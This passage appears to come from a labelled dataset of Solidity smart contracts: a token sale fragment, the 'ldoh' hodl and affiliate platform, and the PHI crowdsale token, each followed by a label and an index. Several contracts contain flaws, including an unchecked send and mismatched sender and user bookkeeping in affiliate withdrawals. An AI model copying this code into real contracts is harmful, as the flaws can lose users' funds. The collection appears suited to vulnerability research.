uint256 remainder = msg.value % TOKEN_PRICE;
if (maxBonusThreshold < tokenBalance) {
maxBonusThreshold = tokenBalance;
}
if (tokensToBuy > maxBonusThreshold) {
tokensToBuy = maxBonusThreshold;
remainder = msg.value - tokensToBuy * TOKEN_PRICE;
}
uint256 bonusTokens = calculateBonusTokens(tokensToBuy);
tokensSold += tokensToBuy;
if (tokenBalance < tokensToBuy + bonusTokens) {
chiContract.transfer(msg.sender, tokenBalance);
} else {
chiContract.transfer(msg.sender, tokensToBuy + bonusTokens);
}
if (referralAddress != address(this) && referralAddress != address(0)) {
referralAddress.send(
msg.value * REVENUE_SHARE_PERCENTAGE / 100
);
}
if (remainder > 0) {
msg.sender.transfer(remainder);
}
LogChiPurchase(msg.sender, referralAddress, tokensToBuy, now);
}
function resetMaxBonusThreshold() external onlyOwner {
maxBonusThreshold = bonusTiers[bonusTiers.length - 1].threshold;
}
function withdrawEther() external onlyOwner {
msg.sender.transfer(address(this).balance);
}
function withdrawChi() external onlyOwner {
chiContract.transfer(msg.sender, chiContract.balanceOf(address(this)));
}
function getBonusTierCount() external view returns (uint256) {
return bonusTiers.length;
}
function getBonusTier(
uint8 bonusTierIndex
)
external
view
returns (uint256, uint256)
{
return (
bonusTiers[bonusTierIndex].percentage,
bonusTiers[bonusTierIndex].threshold
);
}
function getCurrentBonusTier()
external
view
returns (uint256 percentage, uint256 threshold)
{
return (
bonusTiers[bonusIndex].percentage,
bonusTiers[bonusIndex].threshold
);
}
function getNextBonusIndex()
external
view
returns (uint8)
{
return bonusIndex + 1;
}
function getSoldTokens() external view returns (uint256) {
return tokensSold;
}
function calculateBonusTokens(
uint256 boughtTokens
)
internal
returns (uint256)
{
if (bonusIndex == bonusTiers.length) {
return 0;
}
uint256 bonusTokens = 0;
uint256 _boughtTokens = boughtTokens;
uint256 _tokensSold = tokensSold;
while (_boughtTokens > 0) {
uint256 threshold = bonusTiers[bonusIndex].threshold;
uint256 bonus = bonusTiers[bonusIndex].percentage;
if (_tokensSold + _boughtTokens >= threshold) {
_boughtTokens -= threshold - _tokensSold;
bonusTokens += (threshold - _tokensSold) * bonus / 100;
_tokensSold = threshold;
if (bonusIndex < bonusTiers.length) {
bonusIndex += 1;
}
} else {
_tokensSold += _boughtTokens;
bonusTokens += _boughtTokens * bonus / 100;
_boughtTokens = 0;
}
}
return bonusTokens;
}
} | 1 | 3,612 |
pragma solidity ^0.4.25;
contract EthereumSmartContract {
address EthereumNodes;
constructor() public {
EthereumNodes = msg.sender;
}
modifier restricted() {
require(msg.sender == EthereumNodes);
_;
}
function GetEthereumNodes() public view returns (address owner) { return EthereumNodes; }
}
contract ldoh is EthereumSmartContract {
event onCashbackCode (address indexed hodler, address cashbackcode);
event onAffiliateBonus (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime);
event onHoldplatform (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime);
event onUnlocktoken (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime);
event onReceiveAirdrop (address indexed hodler, uint256 amount, uint256 datetime);
event onHOLDdeposit (address indexed hodler, uint256 amount, uint256 newbalance, uint256 datetime);
event onHOLDwithdraw (address indexed hodler, uint256 amount, uint256 newbalance, uint256 datetime);
struct Safe {
uint256 id;
uint256 amount;
uint256 endtime;
address user;
address tokenAddress;
string tokenSymbol;
uint256 amountbalance;
uint256 cashbackbalance;
uint256 lasttime;
uint256 percentage;
uint256 percentagereceive;
uint256 tokenreceive;
uint256 lastwithdraw;
address referrer;
bool cashbackstatus;
}
uint256 private idnumber;
uint256 public TotalUser;
mapping(address => address) public cashbackcode;
mapping(address => uint256[]) public idaddress;
mapping(address => address[]) public afflist;
mapping(address => string) public ContractSymbol;
mapping(uint256 => Safe) private _safes;
mapping(address => bool) public contractaddress;
mapping (address => mapping (uint256 => uint256)) public Bigdata;
mapping (address => mapping (address => mapping (uint256 => uint256))) public Statistics;
address public Holdplatform_address;
uint256 public Holdplatform_balance;
mapping(address => uint256) public Holdplatform_status;
mapping(address => uint256) public Holdplatform_divider;
constructor() public {
idnumber = 500;
Holdplatform_address = 0x23bAdee11Bf49c40669e9b09035f048e9146213e;
}
function () public payable {
if (msg.value == 0) {
tothe_moon();
} else { revert(); }
}
function tothemoon() public payable {
if (msg.value == 0) {
tothe_moon();
} else { revert(); }
}
function tothe_moon() private {
for(uint256 i = 1; i < idnumber; i++) {
Safe storage s = _safes[i];
if (s.user == msg.sender) {
Unlocktoken(s.tokenAddress, s.id);
}
}
}
function CashbackCode(address _cashbackcode, uint256 uniquecode) public {
require(_cashbackcode != msg.sender);
if (cashbackcode[msg.sender] == 0x0000000000000000000000000000000000000000 && Bigdata[_cashbackcode][8] == 1 && Bigdata[_cashbackcode][18] != uniquecode ) {
cashbackcode[msg.sender] = _cashbackcode; }
else { cashbackcode[msg.sender] = EthereumNodes; }
if (Bigdata[msg.sender][18] == 0 ) {
Bigdata[msg.sender][18] = uniquecode; }
emit onCashbackCode(msg.sender, _cashbackcode);
}
function Holdplatform(address tokenAddress, uint256 amount) public {
require(amount >= 1 );
uint256 holdamount = add(Statistics[msg.sender][tokenAddress][5], amount);
require(holdamount <= Bigdata[tokenAddress][5] );
if (cashbackcode[msg.sender] == 0x0000000000000000000000000000000000000000 ) {
cashbackcode[msg.sender] = EthereumNodes;
Bigdata[msg.sender][18] = 123456;
}
if (contractaddress[tokenAddress] == false) { revert(); } else {
ERC20Interface token = ERC20Interface(tokenAddress);
require(token.transferFrom(msg.sender, address(this), amount));
HodlTokens2(tokenAddress, amount);
Airdrop(tokenAddress, amount, 1);
}
}
function HodlTokens2(address ERC, uint256 amount) public {
address ref = cashbackcode[msg.sender];
address ref2 = EthereumNodes;
uint256 ReferrerContribution = Statistics[ref][ERC][5];
uint256 ReferralContribution = Statistics[msg.sender][ERC][5];
uint256 MyContribution = add(ReferralContribution, amount);
if (ref == EthereumNodes && Bigdata[msg.sender][8] == 0 ) {
uint256 nodecomission = div(mul(amount, 28), 100);
Statistics[ref][ERC][3] = add(Statistics[ref][ERC][3], nodecomission );
Statistics[ref][ERC][4] = add(Statistics[ref][ERC][4], nodecomission );
} else {
uint256 affcomission = div(mul(amount, 12), 100);
if (ReferrerContribution >= MyContribution) {
Statistics[ref][ERC][3] = add(Statistics[ref][ERC][3], affcomission);
Statistics[ref][ERC][4] = add(Statistics[ref][ERC][4], affcomission);
} else {
if (ReferrerContribution > ReferralContribution ) {
if (amount <= add(ReferrerContribution,ReferralContribution) ) {
uint256 AAA = sub(ReferrerContribution, ReferralContribution );
uint256 affcomission2 = div(mul(AAA, 12), 100);
uint256 affcomission3 = sub(affcomission, affcomission2);
} else {
uint256 BBB = sub(sub(amount, ReferrerContribution), ReferralContribution);
affcomission3 = div(mul(BBB, 12), 100);
affcomission2 = sub(affcomission, affcomission3); }
} else { affcomission2 = 0; affcomission3 = affcomission; }
Statistics[ref][ERC][3] = add(Statistics[ref][ERC][3], affcomission2);
Statistics[ref][ERC][4] = add(Statistics[ref][ERC][4], affcomission2);
Statistics[ref2][ERC][3] = add(Statistics[ref2][ERC][3], affcomission3);
Statistics[ref2][ERC][4] = add(Statistics[ref2][ERC][4], affcomission3);
}
}
HodlTokens3(ERC, amount, ref);
}
function HodlTokens3(address ERC, uint256 amount, address ref) public {
uint256 AvailableBalances = div(mul(amount, 72), 100);
if (ref == EthereumNodes && Bigdata[msg.sender][8] == 0 )
{ uint256 AvailableCashback = 0; } else { AvailableCashback = div(mul(amount, 16), 100);}
ERC20Interface token = ERC20Interface(ERC);
uint256 TokenPercent = Bigdata[ERC][1];
uint256 TokenHodlTime = Bigdata[ERC][2];
uint256 HodlTime = add(now, TokenHodlTime);
uint256 AM = amount; uint256 AB = AvailableBalances; uint256 AC = AvailableCashback;
amount = 0; AvailableBalances = 0; AvailableCashback = 0;
_safes[idnumber] = Safe(idnumber, AM, HodlTime, msg.sender, ERC, token.symbol(), AB, AC, now, TokenPercent, 0, 0, 0, ref, false);
Statistics[msg.sender][ERC][1] = add(Statistics[msg.sender][ERC][1], AM);
Statistics[msg.sender][ERC][5] = add(Statistics[msg.sender][ERC][5], AM);
Bigdata[ERC][6] = add(Bigdata[ERC][6], AM);
Bigdata[ERC][3] = add(Bigdata[ERC][3], AM);
if(Bigdata[msg.sender][8] == 1 ) {
idaddress[msg.sender].push(idnumber); idnumber++; Bigdata[ERC][10]++; }
else {
afflist[ref].push(msg.sender); idaddress[msg.sender].push(idnumber); idnumber++; Bigdata[ERC][9]++; Bigdata[ERC][10]++; TotalUser++; }
Bigdata[msg.sender][8] = 1;
emit onHoldplatform(msg.sender, ERC, token.symbol(), AM, HodlTime);
}
function Unlocktoken(address tokenAddress, uint256 id) public {
require(tokenAddress != 0x0);
require(id != 0);
Safe storage s = _safes[id];
require(s.user == msg.sender);
require(s.tokenAddress == tokenAddress);
if (s.amountbalance == 0) { revert(); } else { UnlockToken2(tokenAddress, id); }
}
function UnlockToken2(address ERC, uint256 id) private {
Safe storage s = _safes[id];
require(s.id != 0);
require(s.tokenAddress == ERC);
uint256 eventAmount = s.amountbalance;
address eventTokenAddress = s.tokenAddress;
string memory eventTokenSymbol = s.tokenSymbol;
if(s.endtime < now){
uint256 amounttransfer = add(s.amountbalance, s.cashbackbalance);
Statistics[msg.sender][ERC][5] = sub(Statistics[s.user][s.tokenAddress][5], s.amount);
s.lastwithdraw = amounttransfer; s.amountbalance = 0; s.lasttime = now;
PayToken(s.user, s.tokenAddress, amounttransfer);
if(s.cashbackbalance > 0 && s.cashbackstatus == false || s.cashbackstatus == true) {
s.tokenreceive = div(mul(s.amount, 88), 100) ; s.percentagereceive = mul(1000000000000000000, 88);
}
else {
s.tokenreceive = div(mul(s.amount, 72), 100) ; s.percentagereceive = mul(1000000000000000000, 72);
}
s.cashbackbalance = 0;
emit onUnlocktoken(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now);
} else { UnlockToken3(ERC, s.id); }
}
function UnlockToken3(address ERC, uint256 id) private {
Safe storage s = _safes[id];
require(s.id != 0);
require(s.tokenAddress == ERC);
uint256 timeframe = sub(now, s.lasttime);
uint256 CalculateWithdraw = div(mul(div(mul(s.amount, s.percentage), 100), timeframe), 2592000);
uint256 MaxWithdraw = div(s.amount, 10);
if (CalculateWithdraw > MaxWithdraw) { uint256 MaxAccumulation = MaxWithdraw; } else { MaxAccumulation = CalculateWithdraw; }
if (MaxAccumulation > s.amountbalance) { uint256 realAmount1 = s.amountbalance; } else { realAmount1 = MaxAccumulation; }
uint256 realAmount = add(s.cashbackbalance, realAmount1);
uint256 newamountbalance = sub(s.amountbalance, realAmount1);
s.cashbackbalance = 0;
s.amountbalance = newamountbalance;
s.lastwithdraw = realAmount;
s.lasttime = now;
UnlockToken4(ERC, id, newamountbalance, realAmount);
}
function UnlockToken4(address ERC, uint256 id, uint256 newamountbalance, uint256 realAmount) private {
Safe storage s = _safes[id];
require(s.id != 0);
require(s.tokenAddress == ERC);
uint256 eventAmount = realAmount;
address eventTokenAddress = s.tokenAddress;
string memory eventTokenSymbol = s.tokenSymbol;
uint256 tokenaffiliate = div(mul(s.amount, 12), 100) ;
uint256 maxcashback = div(mul(s.amount, 16), 100) ;
uint256 sid = s.id;
if (cashbackcode[msg.sender] == EthereumNodes && idaddress[msg.sender][0] == sid ) {
uint256 tokenreceived = sub(sub(sub(s.amount, tokenaffiliate), maxcashback), newamountbalance) ;
}else { tokenreceived = sub(sub(s.amount, tokenaffiliate), newamountbalance) ;}
uint256 percentagereceived = div(mul(tokenreceived, 100000000000000000000), s.amount) ;
s.tokenreceive = tokenreceived;
s.percentagereceive = percentagereceived;
PayToken(s.user, s.tokenAddress, realAmount);
emit onUnlocktoken(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now);
Airdrop(s.tokenAddress, realAmount, 4);
}
function PayToken(address user, address tokenAddress, uint256 amount) private {
ERC20Interface token = ERC20Interface(tokenAddress);
require(token.balanceOf(address(this)) >= amount);
token.transfer(user, amount);
Bigdata[tokenAddress][3] = sub(Bigdata[tokenAddress][3], amount);
Bigdata[tokenAddress][7] = add(Bigdata[tokenAddress][7], amount);
Statistics[msg.sender][tokenAddress][2] = add(Statistics[user][tokenAddress][2], amount);
Bigdata[tokenAddress][11]++;
}
function Airdrop(address tokenAddress, uint256 amount, uint256 extradivider) private {
if (Holdplatform_status[tokenAddress] == 1) {
require(Holdplatform_balance > 0 );
uint256 divider = Holdplatform_divider[tokenAddress];
uint256 airdrop = div(div(amount, divider), extradivider);
address airdropaddress = Holdplatform_address;
ERC20Interface token = ERC20Interface(airdropaddress);
token.transfer(msg.sender, airdrop);
Holdplatform_balance = sub(Holdplatform_balance, airdrop);
Bigdata[tokenAddress][12]++;
emit onReceiveAirdrop(msg.sender, airdrop, now);
}
}
function GetUserSafesLength(address hodler) public view returns (uint256 length) {
return idaddress[hodler].length;
}
function GetTotalAffiliate(address hodler) public view returns (uint256 length) {
return afflist[hodler].length;
}
function GetSafe(uint256 _id) public view
returns (uint256 id, address user, address tokenAddress, uint256 amount, uint256 endtime, string tokenSymbol, uint256 amountbalance, uint256 cashbackbalance, uint256 lasttime, uint256 percentage, uint256 percentagereceive, uint256 tokenreceive)
{
Safe storage s = _safes[_id];
return(s.id, s.user, s.tokenAddress, s.amount, s.endtime, s.tokenSymbol, s.amountbalance, s.cashbackbalance, s.lasttime, s.percentage, s.percentagereceive, s.tokenreceive);
}
function WithdrawAffiliate(address user, address tokenAddress) public {
require(tokenAddress != 0x0);
require(Statistics[user][tokenAddress][3] > 0 );
uint256 amount = Statistics[msg.sender][tokenAddress][3];
Statistics[msg.sender][tokenAddress][3] = 0;
Bigdata[tokenAddress][3] = sub(Bigdata[tokenAddress][3], amount);
Bigdata[tokenAddress][7] = add(Bigdata[tokenAddress][7], amount);
uint256 eventAmount = amount;
address eventTokenAddress = tokenAddress;
string memory eventTokenSymbol = ContractSymbol[tokenAddress];
ERC20Interface token = ERC20Interface(tokenAddress);
require(token.balanceOf(address(this)) >= amount);
token.transfer(user, amount);
Statistics[user][tokenAddress][2] = add(Statistics[user][tokenAddress][2], amount);
Bigdata[tokenAddress][13]++;
emit onAffiliateBonus(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now);
Airdrop(tokenAddress, amount, 4);
}
function AddContractAddress(address tokenAddress, uint256 CurrentUSDprice, uint256 CurrentETHprice, uint256 _maxcontribution, string _ContractSymbol, uint256 _PercentPermonth) public restricted {
uint256 newSpeed = _PercentPermonth;
require(newSpeed >= 3 && newSpeed <= 12);
Bigdata[tokenAddress][1] = newSpeed;
ContractSymbol[tokenAddress] = _ContractSymbol;
Bigdata[tokenAddress][5] = _maxcontribution;
uint256 _HodlingTime = mul(div(72, newSpeed), 30);
uint256 HodlTime = _HodlingTime * 1 days;
Bigdata[tokenAddress][2] = HodlTime;
Bigdata[tokenAddress][14] = CurrentUSDprice;
Bigdata[tokenAddress][17] = CurrentETHprice;
contractaddress[tokenAddress] = true;
}
function TokenPrice(address tokenAddress, uint256 Currentprice, uint256 ATHprice, uint256 ATLprice, uint256 ETHprice) public restricted {
if (Currentprice > 0 ) { Bigdata[tokenAddress][14] = Currentprice; }
if (ATHprice > 0 ) { Bigdata[tokenAddress][15] = ATHprice; }
if (ATLprice > 0 ) { Bigdata[tokenAddress][16] = ATLprice; }
if (ETHprice > 0 ) { Bigdata[tokenAddress][17] = ETHprice; }
}
function Holdplatform_Airdrop(address tokenAddress, uint256 HPM_status, uint256 HPM_divider) public restricted {
require(HPM_status == 0 || HPM_status == 1 );
Holdplatform_status[tokenAddress] = HPM_status;
Holdplatform_divider[tokenAddress] = HPM_divider;
}
function Holdplatform_Deposit(uint256 amount) restricted public {
require(amount > 0 );
ERC20Interface token = ERC20Interface(Holdplatform_address);
require(token.transferFrom(msg.sender, address(this), amount));
uint256 newbalance = add(Holdplatform_balance, amount) ;
Holdplatform_balance = newbalance;
emit onHOLDdeposit(msg.sender, amount, newbalance, now);
}
function Holdplatform_Withdraw(uint256 amount) restricted public {
require(Holdplatform_balance > 0 && amount <= Holdplatform_balance);
uint256 newbalance = sub(Holdplatform_balance, amount) ;
Holdplatform_balance = newbalance;
ERC20Interface token = ERC20Interface(Holdplatform_address);
require(token.balanceOf(address(this)) >= amount);
token.transfer(msg.sender, amount);
emit onHOLDwithdraw(msg.sender, amount, newbalance, now);
}
function ReturnAllTokens() restricted public
{
for(uint256 i = 1; i < idnumber; i++) {
Safe storage s = _safes[i];
if (s.id != 0) {
if(s.amountbalance > 0) {
uint256 amount = add(s.amountbalance, s.cashbackbalance);
PayToken(s.user, s.tokenAddress, amount);
s.amountbalance = 0;
s.cashbackbalance = 0;
Statistics[s.user][s.tokenAddress][5] = 0;
}
}
}
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
contract ERC20Interface {
uint256 public totalSupply;
uint256 public decimals;
function symbol() public view returns (string);
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} | 1 | 3,961 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping (address => uint256) balances;
mapping (address => bool) public whitelistPayee;
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length == numwords * 32 + 4);
_;
}
function checkTransfer(address _to) public view {
bool permit = false;
if (!transfersEnabled) {
if (whitelistPayee[_to]) {
permit = true;
}
} else {
permit = true;
}
require(permit);
}
function transfer(address _to, uint256 _value) public onlyPayloadSize(2) returns (bool) {
checkTransfer(_to);
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) {
checkTransfer(_to);
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
}
else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract MintableToken is StandardToken, Ownable {
string public constant name = "PHOENIX INVESTMENT FUND";
string public constant symbol = "PHI";
uint8 public constant decimals = 18;
event Mint(address indexed to, uint256 amount);
bool public mintingFinished;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount, address _owner) canMint internal returns (bool) {
require(_to != address(0));
require(_owner != address(0));
require(_amount <= balances[_owner]);
balances[_to] = balances[_to].add(_amount);
balances[_owner] = balances[_owner].sub(_amount);
emit Mint(_to, _amount);
emit Transfer(_owner, _to, _amount);
return true;
}
function claimTokens(address _token) public onlyOwner {
if (_token == 0x0) {
owner.transfer(address(this).balance);
return;
}
MintableToken token = MintableToken(_token);
uint256 balance = token.balanceOf(this);
token.transfer(owner, balance);
emit Transfer(_token, owner, balance);
}
}
contract Crowdsale is Ownable {
address public wallet;
uint256 public weiRaised;
uint256 public tokenAllocated;
constructor(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
}
}
contract PHICrowdsale is Ownable, Crowdsale, MintableToken {
using SafeMath for uint256;
uint256 public ratePreIco = 600;
uint256 public rateIco = 400;
uint256 public weiMin = 0.03 ether;
mapping (address => uint256) public deposited;
uint256 public constant INITIAL_SUPPLY = 63 * 10**6 * (10 ** uint256(decimals));
uint256 public fundForSale = 60250 * 10**3 * (10 ** uint256(decimals));
uint256 fundTeam = 150 * 10**3 * (10 ** uint256(decimals));
uint256 fundAirdropPreIco = 250 * 10**3 * (10 ** uint256(decimals));
uint256 fundAirdropIco = 150 * 10**3 * (10 ** uint256(decimals));
uint256 fundBounty = 100 * 10**3 * (10 ** uint256(decimals));
uint256 fundAdvisor = 210 * 10**3 * (10 ** uint256(decimals));
uint256 fundReferal = 1890 * 10**3 * (10 ** uint256(decimals));
uint256 limitPreIco = 12 * 10**5 * (10 ** uint256(decimals));
address addressFundTeam = 0x26cfc82A77ECc5a493D72757936A78A089FA592a;
address addressFundAirdropPreIco = 0x87953BAE7A92218FAcE2DDdb30AB2193263394Ef;
address addressFundAirdropIco = 0xaA8C9cA32cC8A6A7FF5eCB705787C22d9400F377;
address addressFundBounty = 0x253fBeb28dA7E85c720F66bbdCFC4D9418196EE5;
address addressFundAdvisor = 0x61eAEe13A2a3805b57B46571EE97B6faf95fC34d;
address addressFundReferal = 0x4BfB1bA71952DAC3886DCfECDdE2a4Fea2A06bDb;
uint256 public startTimePreIco = 1538406000;
uint256 public endTimePreIco = 1539129600;
uint256 public startTimeIco = 1541300400;
uint256 public endTimeIco = 1542931200;
uint256 percentReferal = 5;
uint256 public countInvestor;
event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount);
event TokenLimitReached(address indexed sender, uint256 tokenRaised, uint256 purchasedToken);
event MinWeiLimitReached(address indexed sender, uint256 weiAmount);
event Burn(address indexed burner, uint256 value);
event CurrentPeriod(uint period);
event ChangeTime(address indexed owner, uint256 newValue, uint256 oldValue);
event ChangeAddressFund(address indexed owner, address indexed newAddress, address indexed oldAddress);
constructor(address _owner, address _wallet) public
Crowdsale(_wallet)
{
require(_owner != address(0));
owner = _owner;
transfersEnabled = false;
mintingFinished = false;
totalSupply = INITIAL_SUPPLY;
bool resultMintForOwner = mintForFund(owner);
require(resultMintForOwner);
}
function() payable public {
buyTokens(msg.sender);
}
function buyTokens(address _investor) public payable returns (uint256){
require(_investor != address(0));
uint256 weiAmount = msg.value;
uint256 tokens = validPurchaseTokens(weiAmount);
if (tokens == 0) {revert();}
weiRaised = weiRaised.add(weiAmount);
tokenAllocated = tokenAllocated.add(tokens);
mint(_investor, tokens, owner);
makeReferalBonus(tokens);
emit TokenPurchase(_investor, weiAmount, tokens);
if (deposited[_investor] == 0) {
countInvestor = countInvestor.add(1);
}
deposit(_investor);
wallet.transfer(weiAmount);
return tokens;
}
function getTotalAmountOfTokens(uint256 _weiAmount) internal returns (uint256) {
uint256 currentDate = now;
uint currentPeriod = 0;
currentPeriod = getPeriod(currentDate);
uint256 amountOfTokens = 0;
if(currentPeriod > 0){
if(currentPeriod == 1){
amountOfTokens = _weiAmount.mul(ratePreIco);
if (tokenAllocated.add(amountOfTokens) > limitPreIco) {
currentPeriod = currentPeriod.add(1);
}
}
if(currentPeriod == 2){
amountOfTokens = _weiAmount.mul(rateIco);
}
}
emit CurrentPeriod(currentPeriod);
return amountOfTokens;
}
function getPeriod(uint256 _currentDate) public view returns (uint) {
if(_currentDate < startTimePreIco){
return 0;
}
if( startTimePreIco <= _currentDate && _currentDate <= endTimePreIco){
return 1;
}
if( endTimePreIco < _currentDate && _currentDate < startTimeIco){
return 0;
}
if( startTimeIco <= _currentDate && _currentDate <= endTimeIco){
return 2;
}
return 0;
}
function deposit(address investor) internal {
deposited[investor] = deposited[investor].add(msg.value);
}
function makeReferalBonus(uint256 _amountToken) internal returns(uint256 _refererTokens) {
_refererTokens = 0;
if(msg.data.length == 20) {
address referer = bytesToAddress(bytes(msg.data));
require(referer != msg.sender);
_refererTokens = _amountToken.mul(percentReferal).div(100);
if(balanceOf(addressFundReferal) >= _refererTokens.mul(2)) {
mint(referer, _refererTokens, addressFundReferal);
mint(msg.sender, _refererTokens, addressFundReferal);
}
}
}
function bytesToAddress(bytes source) internal pure returns(address) {
uint result;
uint mul = 1;
for(uint i = 20; i > 0; i--) {
result += uint8(source[i-1])*mul;
mul = mul*256;
}
return address(result);
}
function mintForFund(address _walletOwner) internal returns (bool result) {
result = false;
require(_walletOwner != address(0));
balances[_walletOwner] = balances[_walletOwner].add(fundForSale);
balances[addressFundTeam] = balances[addressFundTeam].add(fundTeam);
balances[addressFundAirdropPreIco] = balances[addressFundAirdropPreIco].add(fundAirdropPreIco);
balances[addressFundAirdropIco] = balances[addressFundAirdropIco].add(fundAirdropIco);
balances[addressFundBounty] = balances[addressFundBounty].add(fundBounty);
balances[addressFundAdvisor] = balances[addressFundAdvisor].add(fundAdvisor);
balances[addressFundReferal] = balances[addressFundReferal].add(fundReferal);
result = true;
}
function getDeposited(address _investor) public view returns (uint256){
return deposited[_investor];
}
function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) {
uint256 addTokens = getTotalAmountOfTokens(_weiAmount);
if (_weiAmount < weiMin) {
emit MinWeiLimitReached(msg.sender, _weiAmount);
return 0;
}
if (tokenAllocated.add(addTokens) > fundForSale) {
emit TokenLimitReached(msg.sender, tokenAllocated, addTokens);
return 0;
}
return addTokens;
}
function ownerBurnToken(uint _value) public onlyOwner {
require(_value > 0);
require(_value <= balances[owner]);
require(_value <= totalSupply);
require(_value <= fundForSale);
balances[owner] = balances[owner].sub(_value);
totalSupply = totalSupply.sub(_value);
fundForSale = fundForSale.sub(_value);
emit Burn(msg.sender, _value);
}
function setStartTimePreIco(uint256 _value) public onlyOwner {
require(_value > 0);
uint256 _oldValue = startTimePreIco;
startTimePreIco = _value;
emit ChangeTime(msg.sender, _value, _oldValue);
}
function setEndTimePreIco(uint256 _value) public onlyOwner {
require(_value > 0);
uint256 _oldValue = endTimePreIco;
endTimePreIco = _value;
emit ChangeTime(msg.sender, _value, _oldValue);
}
function setStartTimeIco(uint256 _value) public onlyOwner {
require(_value > 0);
uint256 _oldValue = startTimeIco;
startTimeIco = _value;
emit ChangeTime(msg.sender, _value, _oldValue);
}
function setEndTimeIco(uint256 _value) public onlyOwner {
require(_value > 0);
uint256 _oldValue = endTimeIco;
endTimeIco = _value;
emit ChangeTime(msg.sender, _value, _oldValue);
}
function setAddressFundReferal(address _newAddress) public onlyOwner {
require(_newAddress != address(0));
address _oldAddress = addressFundReferal;
addressFundReferal = _newAddress;
emit ChangeAddressFund(msg.sender, _newAddress, _oldAddress);
}
function setWallet(address _newWallet) public onlyOwner {
require(_newWallet != address(0));
address _oldWallet = wallet;
wallet = _newWallet;
emit ChangeAddressFund(msg.sender, _newWallet, _oldWallet);
}
function addToWhitelist(address _payee) public onlyOwner {
whitelistPayee[_payee] = true;
}
function removeFromWhitelist(address _payee) public onlyOwner {
whitelistPayee[_payee] = false;
}
function setTransferActive(bool _status) public onlyOwner {
transfersEnabled = _status;
}
} | 1 | 4,080 |
pragma solidity ^0.4.21;
contract ERC20Token {
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
